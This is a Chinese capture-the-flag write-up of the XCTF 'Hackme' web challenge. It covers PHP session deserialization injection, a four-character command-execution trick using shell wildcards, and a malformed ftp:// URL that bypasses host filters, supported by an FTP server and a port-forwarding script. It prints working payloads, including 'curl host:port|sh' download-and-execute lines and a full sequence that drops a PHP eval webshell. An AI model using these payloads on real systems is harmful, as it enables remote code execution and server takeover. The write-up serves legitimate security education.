image-20210321213459114

畸形FTP请求,现在还有谁不会的嘛???(弱弱的质问噢~

XCTF高校战疫(Hardme非预期)

——关于hardme的一些 非预期 (❌)以及想法

by DQ/GreatlyV/MorphspV/Morouu(李思琪) 2020.03.08


题目名称:Hackme

考点:

  • 源码审计(√)

  • 关于session的serialize注入(√)

  • 三层bypass(×)

    1. *** filter_var($url,FILTER_VALIDATE_URL)
    2. *** preg_match(‘/(data://)|(&)|(|)|(./)/i’, $url)
    3. *** reg_match(‘/127.0.0.1$/‘, parse_url($url)[‘host’]
  • 长度4的shellcode(√)

题目地址:http://121.36.222.22:88/ (环境已关)

···由于题目环境已关,本篇文章暂且使用经本地还原的题目环境;


  • 第一关:

    • 打开题目,

image-20200310153853254.png

  • 随便输入一个账号,登录,发现有个设置签名的功能,在Upload的选项卡里边:

image-20200310154021870.png

  • 随便输入一些内容,发现在Profile页面能够显示出来:

image-20200310160450816.png

  • 访问Profile页面,发现内容能够被显示出来:

image-20200310160537386.png

  • 使用easyctf扫描,发现备份文件www.zip:

image-20200310153117241.png

  • 将其curl下来,并解压得到源码文件;

  • 所有文件是这样的:

image-20200310153307902.png

  • 首先在profile.php文件内发现了目标,得想尽办法将$this->admin的值设置为整型 ‘1’ (Tips:直接访问core/index.php是没有用的):

image-20200310162006504.png

  • 而要想使得$this->admin的值为整型 ‘1’,就必须得能够控制反序列化info类,

  • 经过审计,发现几乎每一个文件都含有 ini_set(‘session.serialize_handler’, ‘php’); 这一段内容;

image-20200310161330424.png

  • profile.php 文件的则有 ini_set(‘session.serialize_handler’, ‘php’); 这一段;

image-20200310161421908.png

  • 这就比较简单了,由于设置了session.serialize_handler,会将session的值用序列化的格式(以数组型 ‘a’ 的格式)进行存储,当执行session_start()这个代码时,会将存储的合法的序列化内容进行反序列化,问题就出在了这个 ‘合法’ 上;

  • 假设能够控制session的某一项的值,用 ‘|’ 逃逸后将一个合法的info类的序列化值(记得加上 s:5:”admin”;i:1;)给注入进去,那么在访问profile.php页面时一旦执行了session_start()这个代码,会将合法的部分(注入的内容)进行反序列化,就能够使得info类的 if($this->admin === 1) 条件成立了;

  • 而在upload_sign.php文件中有一个名为upload_sign的类,它会将输入的签名的内容给放入session中(甚至还给 “???” ,很明显的提示了),而$_SESSION[‘sgin’]的内容也就是咱们输入签名的内容,是可控的,也就是说可以进行注入:

image-20200310164529495.png

  • 所以第一关使得info类的 $this->admin === 1 条件成立就很简单了,由于这并不是本文所想谈的重点,这里就直接放一个payload:

    heihei|O:4:"info":2:{s:5:"admin";i:1;s:4:"sign";s:6:"233333";}
  • 这个是提交payload后$_SESSION的内容:

image-20200310164908760.png

  • 再来看看session文件的内容,记住,仅有合法的序列化内容会被反序列化:

image-20200310165019026.png

  • 再访问Profile.php页面,这个时候出现了第二关:

image-20200310165114493.png

  • 那么第一关就先结束了;

  • 第二关:

    • 现在开始第二关,

    • 先看一下第一关得到的代码:

      <?php
      require_once('./init.php');
      error_reporting(0);
      if (check_session($_SESSION)) {
          # 下面这一段是变成管理员后才能看到的
          #hint : core/clear.php
          $sandbox = './sandbox/' . md5("Mrk@1xI^" . $_SERVER['REMOTE_ADDR']);
          echo $sandbox;
          @mkdir($sandbox);
          @chdir($sandbox);
          if (isset($_POST['url'])) {
              $url = $_POST['url'];
              if (filter_var($url, FILTER_VALIDATE_URL)) {
                  if (preg_match('/(data:\/\/)|(&)|(\|)|(\.\/)/i', $url)) {
                      echo "you are hacker";
                  } else {
                      $res = parse_url($url);
                      if (preg_match('/127\.0\.0\.1$/', $res['host'])) {
                          $code = file_get_contents($url);
                          if (strlen($code) <= 4) {
                              @exec($code);
                          } else {
                              echo "try again";
                          }
                      }
                  }
              } else {
                  echo "invalid url";
              }
          } else {
              highlight_file(__FILE__);
          }
      } else {
          die('只有管理员才能看到我哟');
      }
      
    • 看得出来这个代码的意思是接收一个$_POST[‘url’]的值,并进行层层过滤(主要有3层),然后使用file_get_contents()去获取这个url的内容,若获取到的内容的长度>4则会报错;

    • 简单来说就是以下的问题:

      • 三层bypass + 长度4的shellcode
    • 由于bypass是本篇文章的重点,这里就先讲述如何进行长度为4的shellcode;

    • 首先来说,4个长度的shellcode这种情况也只能对linux有效了,这里直接开始:

      • linux中关于单字符(打印字符)的文件名的排序如下:

        root@kali:/ctf/web/20200309/files# ls -a
        ' '   %   ')'   -   ';'  '?'   ]   '{'  '$'   3   7   A   C   E   G   I   K   M   O   Q   S   U   W   Y
        '!'  '&'  '*'   .   '<'   @   '^'  '|'   0    4   8   b   d   f   h   j   l   n   p   r   t   v   x   z
        '"'  "'"   +    ..  '='  '['   _   '}'   1    5   9   B   D   F   H   J   L   N   P   R   T   V   X   Z
        '#'  '('   ,    :   '>'  '\'  '`'  '~'   2    6   a   c   e   g   i   k   m   o   q   s   u   w   y
        root@kali:/ctf/web/20200309/files# ls -a > ../sort
        root@kali:/ctf/web/20200309/files# cat ../sort
         
        !
        "
        #
        %
        &
        '
        (
        )
        *
        +
        ,
        -
        .
        ..
        :
        ;
        <
        =
        >
        ?
        @
        [
        \
        ]
        ^
        _
        `
        {
        |
        }
        ~
        $
        0
        1
        2
        3
        4
        5
        6
        7
        8
        9
        a
        A
        b
        B
        c
        C
        d
        D
        e
        E
        f
        F
        g
        G
        h
        H
        i
        I
        j
        J
        k
        K
        l
        L
        m
        M
        n
        N
        o
        O
        p
        P
        q
        Q
        r
        R
        s
        S
        t
        T
        u
        U
        v
        V
        w
        W
        x
        X
        y
        Y
        z
        Z
        
        • 其中实际上是按照首字母进行排序,比如 ‘azzzzzz’ < ‘d’ :

        image-20200310181513525.png

      • 然后是通配符*的威力了:

        root@kali:/ctf/web/20200309/evil# >dir
        root@kali:/ctf/web/20200309/evil# >e
        root@kali:/ctf/web/20200309/evil# >f
        root@kali:/ctf/web/20200309/evil# >g
        root@kali:/ctf/web/20200309/evil# ls
        dir  e  f  g
        root@kali:/ctf/web/20200309/evil# dir e f g
        e  f  g
        root@kali:/ctf/web/20200309/evil# *
        e  f  g
        root@kali:/ctf/web/20200309/evil# *>k
        root@kali:/ctf/web/20200309/evil# cat k
        e  f  g
        root@kali:/ctf/web/20200309/evil# >a
        root@kali:/ctf/web/20200309/evil# ls
        a  dir  e  f  g  k
        root@kali:/ctf/web/20200309/evil# *
        bash: a:未找到命令
        root@kali:/ctf/web/20200309/evil# 
        
        • 这里可以看出 ‘*’ 相当于用第一个文件名称作为命令,后边的文件名作为命令的参数;

        • 比如 ‘*>k’ 实际上相当于 `dir e f g` > k ,即是将 ‘dir e f g’ 的结果写入 ‘k’ 文件中;

        • 再举个直观的例子:

          root@kali:/ctf/web/20200309/evil# >echo
          root@kali:/ctf/web/20200309/evil# >haha
          root@kali:/ctf/web/20200309/evil# >xixi
          root@kali:/ctf/web/20200309/evil# ls
          echo  haha  xixi
          root@kali:/ctf/web/20200309/evil# *
          haha xixi
          root@kali:/ctf/web/20200309/evil# echo haha xixi
          haha xixi
          root@kali:/ctf/web/20200309/evil# 
          
        • 很直观了吧;

    • 那么长度为4的shellcode就比较容易了,比如可以先想办法将 ‘ls -t > [1个长度的文件名]’ 内容写入一个文件(比如a)中,然后再将用 ‘>[每2个长度的shellcode]+[\]’ 新建文件,最后执行 ‘sh a’ 执行’ls -t > [1个长度的文件名]’ 这条命令,会将当前目录下的文件名根据时间顺序排序的结果写入 [1个长度的文件名] 中,最后再执行 ‘sh [1个长度的文件名]’ 这条命令即可执行shellcode;

    • 那么,首先是将 ‘ls -t > [1个长度的文件名]’ 内容写入一个文件中:

      • 由于在排序表中,’t’ > ‘s’,这里必须得保证 ‘ls’ 时文件名的顺序为 ‘dir e> [?]t- sl’(这个’e’只要在 ‘d’ <= ‘[?]’ 即可) 才能在后边的 ‘*v>a’ 将 ‘ls -t[?] >e’ 内容写入文件 a 中,那么 ‘[?]’ 必须就得填一个 < ‘s’ 且对 ‘ls -t[?] >e’ 命令没有影响的字符,这里通过实验可以填 [h|k|m|p|q] ;

        root@kali:/ctf/web/20200309/evil# >dir
        root@kali:/ctf/web/20200309/evil# >e\>
        root@kali:/ctf/web/20200309/evil# >ht-
        root@kali:/ctf/web/20200309/evil# >sl
        root@kali:/ctf/web/20200309/evil# ls
         dir  'e>'   ht-   sl
        root@kali:/ctf/web/20200309/evil# *>v
        root@kali:/ctf/web/20200309/evil# >rev
        root@kali:/ctf/web/20200309/evil# *v>a
        root@kali:/ctf/web/20200309/evil# ls
         a   dir  'e>'   ht-   rev   sl   v
        root@kali:/ctf/web/20200309/evil# cat a
        ls  -th  >e
        root@kali:/ctf/web/20200309/evil# 
        
      • 其中 ‘*v’ 比较神奇,,执行的命令是 `rev v` ,总的意思就是将 ‘v’ 文件的内容(’ e> ht- sl ‘)倒转后(’ls -th >e’)写入 ‘a’ 文件中;

    • 最后是shellcode了,可选的shellcode如下:

      • 假若靶机开了curl的情况:

        - curl xxx.xxx.xxx.xxx:port|sh 
        - curl xxx.xxx.xxx.xxx:port|php 
      • 假若靶机开了wget的情况:

        - wget xxx.xxx.xxx.xxx:port
      • 假若靶机开了GET的情况:

        - GET xxx.xxx.xxx.xxx:port>a.(php|sh)
      • 其中IP xxx.xxx.xxx.xxx可以使用16、8、2进制的字符来表示;

      • 假若靶机啥也没开怎办呢,比较万能的方法:

        - echo${IFS}PD9waHAgZXZhbCgkX1JFUVVFU1RbZG1dKTsgPz4=|base64 -d>a.php
        • 由于一次只能执行4个长度的shellcode,而新建空格文件 ‘ ‘ 至多只能用一次(`>\ \`),但可以用 ‘${IFS}’ 替代另一个空格;
    • 这里直接放一个用万能方法的4个长度的shellcode完整拿webshell了:

      root@kali:/ctf/web/20200309/evil# >dir
      root@kali:/ctf/web/20200309/evil# >e\>
      root@kali:/ctf/web/20200309/evil# >ht-
      root@kali:/ctf/web/20200309/evil# >sl
      root@kali:/ctf/web/20200309/evil# *>v
      root@kali:/ctf/web/20200309/evil# >rev
      root@kali:/ctf/web/20200309/evil# *v>a
      root@kali:/ctf/web/20200309/evil# >p
      root@kali:/ctf/web/20200309/evil# >ph\\
      root@kali:/ctf/web/20200309/evil# >a.\\
      root@kali:/ctf/web/20200309/evil# >\>\\
      root@kali:/ctf/web/20200309/evil# >-d\\
      root@kali:/ctf/web/20200309/evil# >\ \\
      root@kali:/ctf/web/20200309/evil# >64\\
      root@kali:/ctf/web/20200309/evil# >se\\
      root@kali:/ctf/web/20200309/evil# >ba\\
      root@kali:/ctf/web/20200309/evil# >\|\\
      root@kali:/ctf/web/20200309/evil# >4=\\
      root@kali:/ctf/web/20200309/evil# >Pz\\
      root@kali:/ctf/web/20200309/evil# >sg\\
      root@kali:/ctf/web/20200309/evil# >KT\\
      root@kali:/ctf/web/20200309/evil# >1d\\
      root@kali:/ctf/web/20200309/evil# >ZG\\
      root@kali:/ctf/web/20200309/evil# >Rb\\
      root@kali:/ctf/web/20200309/evil# >U1\\
      root@kali:/ctf/web/20200309/evil# >VF\\
      root@kali:/ctf/web/20200309/evil# >UV\\
      root@kali:/ctf/web/20200309/evil# >JF\\
      root@kali:/ctf/web/20200309/evil# >X1\\
      root@kali:/ctf/web/20200309/evil# >gk\\
      root@kali:/ctf/web/20200309/evil# >bC\\
      root@kali:/ctf/web/20200309/evil# >Zh\\
      root@kali:/ctf/web/20200309/evil# >ZX\\
      root@kali:/ctf/web/20200309/evil# >Ag\\
      root@kali:/ctf/web/20200309/evil# >aH\\
      root@kali:/ctf/web/20200309/evil# >9w\\
      root@kali:/ctf/web/20200309/evil# >PD\\
      root@kali:/ctf/web/20200309/evil# >S}\\
      root@kali:/ctf/web/20200309/evil# >IF\\
      root@kali:/ctf/web/20200309/evil# >{\\
      root@kali:/ctf/web/20200309/evil# >\$\\
      root@kali:/ctf/web/20200309/evil# >ho\\
      root@kali:/ctf/web/20200309/evil# >ec\\
      root@kali:/ctf/web/20200309/evil# ls
      ' \'  '|\'   '4=\'   a     'aH\'  '-d\'  'ec\'   ht-   'KT\'  'ph\'   rev   'sg\'  'UV\'  'X1\'  'ZX\'
      '>\'  '$\'   '64\'  'a.\'  'ba\'   dir   'gk\'  'IF\'   p     'Pz\'  'S}\'   sl     v     'ZG\'
      '{\'  '1d\'  '9w\'  'Ag\'  'bC\'  'e>'   'ho\'  'JF\'  'PD\'  'Rb\'  'se\'  'U1\'  'VF\'  'Zh\'
      root@kali:/ctf/web/20200309/evil# cat a
      ls  -th  >e
      root@kali:/ctf/web/20200309/evil# sh a
      root@kali:/ctf/web/20200309/evil# cat e
      e
      ec\
      ho\
      $\
      {\
      IF\
      S}\
      PD\
      9w\
      aH\
      Ag\
      ZX\
      Zh\
      bC\
      gk\
      X1\
      JF\
      UV\
      VF\
      U1\
      Rb\
      ZG\
      1d\
      KT\
      sg\
      Pz\
      4=\
      |\
      ba\
      se\
      64\
       \
      -d\
      >\
      a.\
      ph\
      p
      a
      rev
      v
      sl
      ht-
      e>
      dir
      root@kali:/ctf/web/20200309/evil# sh e
      e: 1: e: not found
      e: 38: a: not found
      ^C
      root@kali:/ctf/web/20200309/evil# cat a.php
      <?php eval($_REQUEST[dm]); ?>
      root@kali:/ctf/web/20200309/evil# 
    • 虽然说会有些杂项在 ‘e’ 文件内,但这并不影响 ‘sh e’ 的执行;

  • 那么4个长度的shellcode就先到此结束,接下来是如何绕过三层bypass了;

  • 先把关键的部分给截取了:

    $url = $_POST['url'];
          if (filter_var($url, FILTER_VALIDATE_URL)) {
              if (preg_match('/(data:\/\/)|(&)|(\|)|(\.\/)/i', $url)) {
                  echo "you are hacker";
              } else {
                  $res = parse_url($url);
                  if (preg_match('/127\.0\.0\.1$/', $res['host'])) {
                      $code = file_get_contents($url);
                      if (strlen($code) <= 4) {
                          @exec($code);
                      } else {
                          echo "try again";
                      }
                  }
              }
          } else {
              echo "invalid url";
          }
    • 第一层bypass,

      if(filter_var($url, FILTER_VALIDATE_URL)){
          #OK
      }
    • 这个函数有点有趣,主要的的检查格式大致是这样的:

      • (字母|数字|点.):// (字母|数字|部分符号)
    • 但是假若是以 ‘http’ 或者 ‘https’ 作为开头,那么允许的格式将会被缩小很多:

      # http://[?] 或 https://[?] 中 [?] 允许内容:
      
      [  "0" , "1" , "2" , "3" , "4" , "5" , "6" , "7" , "8" , "9" , "A" , "B" , "C" , "D" , "E" , "F" , "G" , "H" , "I" , "J" , "K" , "L" , "M" , "N" , "O" , "P" , "Q" , "R" , "S" , "T" , "U" , "V" , "W" , "X" , "Y" , "Z" , "a" , "b" , "c" , "d" , "e" , "f" , "g" , "h" , "i" , "j" , "k" , "l" , "m" , "n" , "o" , "p" , "q" , "r" , "s" , "t" , "u" , "v" , "w" , "x" , "y" , "z" ]
      
      # http://[a-zA-Z0-9][?] 或 https://[a-zA-Z0-9][?] 中 [?] 允许内容:
      
      [  "#" , "-" , "." , "/" , "0" , "1" , "2" , "3" , "4" , "5" , "6" , "7" , "8" , "9" , ":" , "?" , "A" , "B" , "C" , "D" , "E" , "F" , "G" , "H" , "I" , "J" , "K" , "L" , "M" , "N" , "O" , "P" , "Q" , "R" , "S" , "T" , "U" , "V" , "W" , "X" , "Y" , "Z" , "a" , "b" , "c" , "d" , "e" , "f" , "g" , "h" , "i" , "j" , "k" , "l" , "m" , "n" , "o" , "p" , "q" , "r" , "s" , "t" , "u" , "v" , "w" , "x" , "y" , "z" ]
      
      # [.*]://[?] 中 [?] 允许内容:
      
      [  "!" , "\"" , "$" , "%" , "&" , "'" , "(" , ")" , "*" , "+" , "," , "-" , "." , "0" , "1" , "2" , "3" , "4" , "5" , "6" , "7" , "8" , "9" , ";" , "<" , "=" , ">" , "A" , "B" , "C" , "D" , "E" , "F" , "G" , "H" , "I" , "J" , "K" , "L" , "M" , "N" , "O" , "P" , "Q" , "R" , "S" , "T" , "U" , "V" , "W" , "X" , "Y" , "Z" , "[" , "\\" , "]" , "^" , "_" , "`" , "a" , "b" , "c" , "d" , "e" , "f" , "g" , "h" , "i" , "j" , "k" , "l" , "m" , "n" , "o" , "p" , "q" , "r" , "s" , "t" , "u" , "v" , "w" , "x" , "y" , "z" , "{" , "|" , "}" , "~" ]
      
      • 可以看出来界定点即在是否以 ‘http’ 或 ‘https’ 作为头部;
    • 第二层bypass,

      if(preg_match('/(data:\/\/)|(&)|(\|)|(\.\/)/i', $url)){
          #NO
          die();
      }
      • 这个比较简单看懂,将 ‘data://‘ ‘&’ ‘|’ ‘./‘ 给ban了;
    • 第三层bypass:

      $res = parse_url($url);
       if (preg_match('/127\.0\.0\.1$/', $res['host'])) {
           #OK
       }
      • 这个函数简单来说会对 parse_url()[‘host’] 进行判断,若以 ‘127.0.0.1’ 结尾则通过,而 parse_url()[‘host’] 实际上即是第1个 ‘/‘ 之前的内容刨除端口以及账号密码后的值;
      • 比如 ‘http://dq:2333@127.0.0.1:2333/haha/' 的parse_url()[‘host’] 为 ‘127.0.0.1’ ;
      • 在这里有个trick:
        • http://[域名]:[端口];127.0.0.1:80/
      • 这样是能够绕过 preg_match(‘/127.0.0.1$/‘, parse_url()[‘host’]) 的,并且能够被 file_get_contents() 获取内容,但是无法绕过第一层bypass;
  • 那么,现在有两种方式可以绕过这三层bypass,第一种预期解(√),第二种是非预期(×);

  • 这里先说非预期的绕过方式;


  • 非预期:

    • 这个非预期的实现会比较麻烦,这里先上payload:

      url=ftp://xxx.xxx.xxx.xxx:[port],127.0.0.1:80/filename
    • 这样即可成功通过上述的三层bypass,直接出外网,但是由于这是一个畸形的ftp请求,实际上如果按照普通的ftp连接流程是无法通过file_get_contents()成功获取文件内容的;

    • 这里用py写一个简单的ftp服务端:

      import pyftpdlib.authorizers
      import pyftpdlib.handlers
      import pyftpdlib.servers
      
      # ftp 服务端 IP 以及 端口
      connect_ip='172.17.48.108'
      connect_port=6600
      
      # 设置上传和下载的最大速度
      max_speed_upload=1024 * 1024
      max_speed_download=1024 * 1024
      
      # 设置总最大连接数以及每个IP同一时间最大连接数
      max_connect = 10
      max_count_ip = 2
      
      # 设置被动模式下分配的端口范围
      passive_port=(6601,6700)
      
      # 初始化用户组以及两个用户,这两个用户的权限仅为'可读'
      user_group=pyftpdlib.authorizers.DummyAuthorizer()
      user_group.add_user(username = "DQ",password = "123",homedir = "C:/ftpfiles/",perm = "elr")
      user_group.add_anonymous(homedir = "C:/ftpfiles/",perm = "elr")
      
      
      # 初始化各个数值
      dtp_h=pyftpdlib.handlers.ThrottledDTPHandler
      ftp_h=pyftpdlib.handlers.FTPHandler
      
      dtp_h.read_limit=max_speed_download
      dtp_h.write_limit=max_speed_upload
      
      ftp_h.authorizer=user_group
      ftp_h.passive_ports=range(passive_port[0],passive_port[1])
      ftp_h.banner="hello,world!"
      
      server = pyftpdlib.servers.FTPServer((connect_ip,connect_port),ftp_h)
      server.max_cons=max_connect
      server.max_cons_per_ip=max_count_ip
      
      if __name__ == '__main__':
          # 启动ftp
          print("Start ftp:",(connect_ip,connect_port))
          server.serve_forever()
      
    • 然后使用 wireshark 进行简单的流程跟踪ftp被动模式:

      • 首先,这是一个简单的客户端向服务端请求ftp服务:

        1. 客户端与服务端先进行第一次握手连接,

image-20200310211905487.png

  1. 确认连接后,服务端向客户端发送欢迎信息,同时表示服务已准备就绪(220):

image-20200310214533608.png

  1. 当客户端收到服务就绪信息时(220),客户端会先向服务端发送用户名:

image-20200310221349620.png

  1. 服务端收到信息后会向客户端发回需要密码的信息并等待客户端提供密码(331),(在ftp中匿名登录实际上是用用户名为 ‘anonymous’ 的用户进行登录,和普通用户登录基本没区别;若服务端上没有名为 ‘anonymous’ 的用户,则无法进行匿名登录;若 ‘anonymous’ 用户设置了密码,则在匿名登录的时候也需要输入密码):

image-20200310221429844.png

  1. 客户端收到服务端发来的密码要求后,发送密码,若密码正确则服务端会返回登录成功(230),若不正确则会返回用户认证失败(530);

image-20200310221532895.png

  1. 之后客户端会询问当前ftp系统信息,服务端会回复给客户端(215);

image-20200310221559997.png

  1. 客户端向服务端发送 ‘PWD’ ,服务端会将当前 ‘/ ‘目录名创建(类似初始化ftp的相对路径)当前(257);

image-20200310215432241.png

  1. 下一步客户端向服务端发送类型值,比如我这里是 ‘I’ 那就是以二进制模式,发送成功后,服务端会返回命令成功执行(200);

image-20200310215730862.png

  1. 开始解析请求的路径,这里我请求的是 ‘ftp://xxx/way/'
  • 客户端先向服务端请求 ‘/way’ 文件的大小,服务端检查,NO,这不是一个文件,告诉客户端命令无法识别(500);

image-20200310221717543.png

  • 客户端向服务端请求到 ‘/way/‘ 这个目录中,服务端检查,OK,这是一个目录,将当前目录设置成 ‘/way/‘ 并返回请求文件操作成功(250);

image-20200310221759305.png

  1. 客户端向服务端请求PASV(被动模式):

image-20200310221853324.png

  1. 服务端返回开启passive模式(227),返回内容,同时开启一个6626的端口:

image-20200310222555238.png

  1. 然后客户端会开启另一个端口,并用新开起的端口去和服务端提供的新端口进行第二次握手连接:

image-20200310223354406.png

  1. 客户端请求当前目录下的内容:

image-20200310223629354.png

  1. 服务端向客户端返回数据连接已就绪消息(150):

image-20200310224524970.png

  1. 客户端使用第二次握手建立的连接,向服务端发送确认信息,服务端将当前目录下的内容返回给客户端;

image-20200310224724648.png

  1. 当信息成功发送后,第二次握手建立连接在服务端向客户端发送完传输完成(226)中逐步进行挥手操作:

image-20200310225730635.png

  1. 第二次握手建立的连接挥手操作完毕后,客户端向服务端发送确认信息,以及退出信息:

image-20200310230052240.png

  1. 服务端接收到客户端发来的退出信息,回应客户端后(221),第一次握手建立的连接进行挥手操作,此时整个ftp的简单请求到此结束:

image-20200310230219915.png

  1. 接着是简单的ftp关于下载文件的请求过程:
  • 其中,这些步骤和上边的基本都是一样的:

image-20200310230843452.png

  • 这里就从第二次握手建立的连接后开始,客户端向服务端请求下载 ‘/way/BMV5.txt’ 文件:

image-20200310230954017.png

  • 服务端告诉客户端,数据传输已准备就绪(150):

image-20200310231151986.png

  • 服务端在收到来自客户端的确认信息后,开始用第二次握手建立的连接传输:

image-20200310232626616.png

  • 假若信息过长的话,会进行分段传输,每当服务端传输完一段后,客户端新开的端口会向服务端发送确认收到的信息,然后实际上服务端向客户端返回的传输完成的信息看起来是并行的,红方框的内容是正则传输的内容:(226)

image-20200310233911883.png

  1. 服务端会在最后一段内容中将挥手信息发回客户端,比如上图的最后一个红框即是;

  2. 后边就是第二次握手建立的连接先挥手,然后第一次握手建立的连接再挥手了,跟最上边的普通过程基本是没区别的了;

  • 以上即是正常的ftp请求,现在我要用payload进行请求了,当然如果只是仅仅普通的payload去获取文件是不可行的,因为这个是畸形的请求:
url=ftp://xxx.xxx.xxx.xxx:[port],127.0.0.1:80/evil.txt

image-20200310235530639.png

  • 上边先是的421错误,展开被动模式(第二次握手连接应该没搞好)超时

  • 使用wireshark还原整个ftp请求,发现,原来是在进行第二次握手连接的时候,客户端新开的端口并没有连入服务端新开的端口上,而是客户端用新开的端口连上了原来的ftp端口了:

image-20200311000208175.png

​ 第一次握手:客户端向服务端请求一个端口,服务端开放随机端口A并告诉客户端;
​ 第二次握手:客户端用新开端口B,并尝试用端口B连接服务端的端口A,然后使用端口B→端口A这条路子传输;

​ **当传输数据结束后,先断开第二次握手建立的连接,再断开第一次握手建立的连接

​ 使用畸形的URL的结果是在第二次握手时客户端新开的端口B没能连接第一次握手时服务端所给的新开的端口A,而是连接了第一次握手时连接的服务端的原来的端口,于是就卡住了;
​ **简单来说,服务端在等待客户端连接自己新开的端口A,而客户端却在用自己新开的端口B去连接第一次握手服务端的的原来的端口

​ 那么至少可以得到一点,这个畸形的ftp请求,实际上是能够成功进入外网的,并且第一次握手连接是可以完全能正确的,只需要将客户端新开的端口B和服务端新开的端口A连通就行了,并不需要魔改ftp(当时做题的时候差点真的把ftp给魔改了,真的,就差一点点);

​ 最简单的方式即是端口转发了,不过由于上述说过ftp对文件传输发送的完成信息和文件传输实际上是并行的,也就是说服务端会用第一次握手建立的连接发送传输完成的信息,而实际上第二次握手建立的连接仍然在传输信息,并没有真的完成,这就比较麻烦了;

​ 因为要做端口转发免不了会使用socket,而socket是无法获取到确认信息的,只能够能得到文本内容的数据信息,也就是说转发的内容中是不会有确认信息,由上边的wireshark简单的分析发现,一旦服务端成功的发送了传输完成信息(226),第二次握手建立的连接就会挥手(也就是说文件内容传输就会中止),可是服务端发送传输完成信息(226)和第二次握手建立的连接的传输却是并行的,现在又无法转发确认信息,于是就有可能出现传输未完成而整个连接中断的情况;

该如何在保证所有传输完成后再中断是一个比较重要的问题了,不过其实吧,这实际上如果说硬要这么去做的话,可以做一个逆推算;

  • => 等传输真正完成后再停止 =>
  • => 第一次握手建立的连接必须得在传输完成后再向客户端发送完成信息 =>
  • => 将第一次握手建立的连接和第二次握手建立的连接的并行状态改变为串行 =>
  • => 在确认信息完全传输完成前拒绝接收(或者接收了但不转发)信息完成的信息,直到确认真正传输完成后再放行;

这里就直接上转发脚本:

import socket,threading,re,sys
from time import sleep

# 转发端口,ftp端口

ftp_server = {
    'ip':'111.111.111.111',
    'port':2333
}
server = {
    'ip':'222.222.222.222',
    'port':2334
}

# 被动端口
passive_port = 0
# 客户端数据
client_status = [None,None]

Step = 0
Finish = False
socket_1_send = [ "" , False ]
socket_1_return = [ "" , False ]

socket_2_send = [ "" , False ]
socket_2_return = [ b"" , False ]

def func_connect_main():
    global s1, client_status,Step,passive_port
    while True:
        client, host = s1.accept()
        # 判断是否为第1次请求
        if(client_status[1] == None):
            client_status[0], client_status[1] = client, host
            print("< 1 > ",host)

            # 处理<1>客户端请求
            accept_client_1 = threading.Thread(target = func_client_1_accept, kwargs = { 'client': client })
            return_client_1 = threading.Thread(target = func_client_1_return, kwargs = { 'client': client })
            accept_client_1.setDaemon(daemonic = True)
            return_client_1.setDaemon(daemonic = True)
            accept_client_1.start( )
            return_client_1.start( )
        else:

            client_2, host_2 = client, host
            print("< 2 >",host_2)

            # 处理<2>客户端请求
            accept_client_2 = threading.Thread(target = func_client_2_accept, kwargs = { 'client': client_2 })
            return_client_2 = threading.Thread(target = func_client_2_return, kwargs = { 'client': client_2 })

            # 开启线程处理被动端口的交互过程(进入请求文件状态)
            print("< 2 >",(ftp_server['ip'],passive_port))
            s3 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s3.connect((ftp_server['ip'], passive_port))

            accept_ftp_2 = threading.Thread(target = func_ftp_2_accept, kwargs = { 'socket_': s3 })
            send_ftp_2 = threading.Thread(target = func_ftp_2_send, kwargs = { 'socket_': s3})

            accept_client_2.setDaemon(daemonic = True)
            return_client_2.setDaemon(daemonic = True)
            accept_ftp_2.setDaemon(daemonic = True)
            send_ftp_2.setDaemon(daemonic = True)

            accept_client_2.start( )
            return_client_2.start( )
            accept_ftp_2.start( )
            send_ftp_2.start( )

            Step += 1

# <1> 接收户端发来的信息
def func_client_1_accept(client):
    global socket_1_send
    get_content = ""
    while True:
        get_content += client.recv(2048).decode('gbk')
        if(get_content.endswith("\x0d\x0a")):
            socket_1_send = [ get_content ,True]
            print("< 1 >",socket_1_send)
            get_content = ""

# <1> 将从ftp服务器的信息转发到客户端
def func_client_1_return(client):
    global socket_1_return
    while True:
        if (socket_1_return[ 1 ]):
            client.send(socket_1_return[ 0 ].encode('gbk'))
            socket_1_return = [ "", False ]

# <1> 将客户端发来的信息转发到ftp服务器
def func_ftp_1_send(socket_):
    global socket_1_send
    while True:
        if (socket_1_send[ 1 ]):
            socket_.send(socket_1_send[ 0 ].encode('gbk'))
            socket_1_send = [ "", False ]

# <1> 获取从ftp服务器得到的信息
def func_ftp_1_accept(socket_):
    global socket_1_return,passive_port,Step,Finish
    get_content = ""
    while True:
        get_content += socket_.recv(2048).decode('gbk')
        if(get_content.endswith("\x0d\x0a")):
            socket_1_return = [get_content, True]
            # 截取ftp开启的被动端口
            if (re.match(".*\(\|\|\|(\d.*)\|\)", get_content)):
                passive_port = int(re.search("\(\|\|\|(\d.*)\|\)", get_content).group(1))
            print("< 1 >", socket_1_return)

            if(get_content.split(" ")[0] == '150'):
                while (Step < 3):
                    pass

            # 由于ftp一旦向客户端发送Transfer starting时,当客户端再次连接首次访问端口,整个ftp交互就会关闭
            # 这里得对文件传输状态进行阻塞
            # 状态得到传输完成的信号,则取消阻塞
            if ("Transfer complete" in get_content):
                Finish = True
            get_content = ""

# <2>接收客户端发来的信息(passive)
def func_client_2_accept(client):
    global socket_2_send
    get_content = ""
    while True:
        get_content += client.recv(2048).decode('gbk')
        if(get_content.endswith("\x0d\x0a")):
            socket_2_send = [get_content, True]
            print("< 2 >",socket_2_send)
            get_content = ""
        else:
            print(get_content)

# <2>将从ftp服务器接收到的信息转回客户端(passive)
def func_client_2_return(client):
    global socket_2_return,Step
    while True:
        if(socket_2_return[ 1 ]):
            client.send(socket_2_return[0])
            socket_2_return = [b"",False]
            Step += 1

# <2>使用开启的被动端口与ftp服务器进行交互(passive)
def func_ftp_2_send(socket_):
    global socket_2_send
    while True:
        if(socket_2_send[ 1 ]):
            socket_.send(socket_2_send[ 0 ].encode('gbk'))
            socket_2_send = [ "" ,False]

def func_ftp_2_accept(socket_):
    global socket_2_return,Step
    get_content = b""
    cmp_content = b""
    while True:
        get_content += socket_.recv(65535)
        if(get_content == cmp_content and get_content != b""):
            socket_2_return = [get_content,True]
            print("< 2 >",socket_2_return)
            Step += 1
            get_content = b""
            cmp_content = b""
            continue
        cmp_content = get_content


def main():

    global s1,s2,s3

    # 监听转发端口
    s1 = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s1.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
    s1.bind(('0.0.0.0',server['port']))
    s1.listen(2)

    # 连接ftp服务器
    s2 = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s2.connect((ftp_server['ip'],ftp_server['port']))
